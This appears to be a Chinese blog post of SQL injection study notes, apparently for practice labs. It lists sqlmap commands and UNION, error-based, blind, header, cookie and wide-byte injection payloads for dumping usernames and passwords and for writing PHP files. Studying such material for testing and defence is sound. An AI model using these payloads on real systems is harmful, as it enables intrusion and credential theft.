SQL注入

2022-06-16 14:00:15 字數 3450 閱讀 3208

sql注入驗證:

'and 1=1

and 1=2

sqlmap基本命令

sqlmap -r *.txt -p id

sqlmap -u '192.168.1.101/cms/show.php?id=38' --dbs

sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms --tables

sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms -t cms_users --columns

sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms -t cms_users -c username,password --dump --batch

注入order by        判斷字段數

union select    聯合查詢獲取表名、欄位名、字段值

?id=1' order by 3 --

?id=0' union select 1,2,3 --

獲取表名

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --

獲取欄位名

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --

獲取字段值

0' union select 1,group_concat(username,0x3a,password),3 from users--

盲注分類:

時間盲注:

?id=1' if(ascii(substr(database(),1,1)=115,1,sleep(3))) --

當資料庫第乙個字母的ascii碼是115時,執行sleep()

布林盲注:

?id=1' and length(database())=8 --

檔案讀取和寫入

select load_file('path')

union select 1,'<?php phpinfo();?>',3 into outfile 'path' --

報錯注入

rand()        隨機函式

floor()        取整函式

count()        計數函式

group by clause    分組函式

獲取資料庫

0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --

獲取表名

0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --

獲取使用者資訊

0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --

雙引號獲取資料庫

0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --

注入繞過

大小寫、雙寫、編碼、內聯注釋

post盲注

admin' and (select (if(length(database())>5,sleep(5),null))) --

admin' and (length(database())>5) --

user-agent注入:

user-agent處注入

referer注入:

referer處注入

payload:

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

' or '1'='1

' or (length(database())) >8 or if(1=1, sleep(5), null) or '1' = '1

sqlmap -r指定*處測試

update語句

update table_name set password=test where id=1

passwd=123'or updatexml(1,concat(0x7e,database(),0x7e),1) #

cookie注入

cookiebase64注入

base64編碼

==結束符

urlencode

%0a    換行

%0c    新一頁

%0d    return功能

%09    tab鍵

%20    空格

&& and

||     or

gbk寬位元組注入

-1%df' union select 1,2,3 --

%81二次注入

使用者名為admin' -- -

updatexml()與extractvalue()

select * from table where id=1 and updatexml(-1,concat(0x7e,database(),0x7e),1)

select * from user where id=1 and extractvalue(-1,concat(0x7e,version(),0x7e))

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...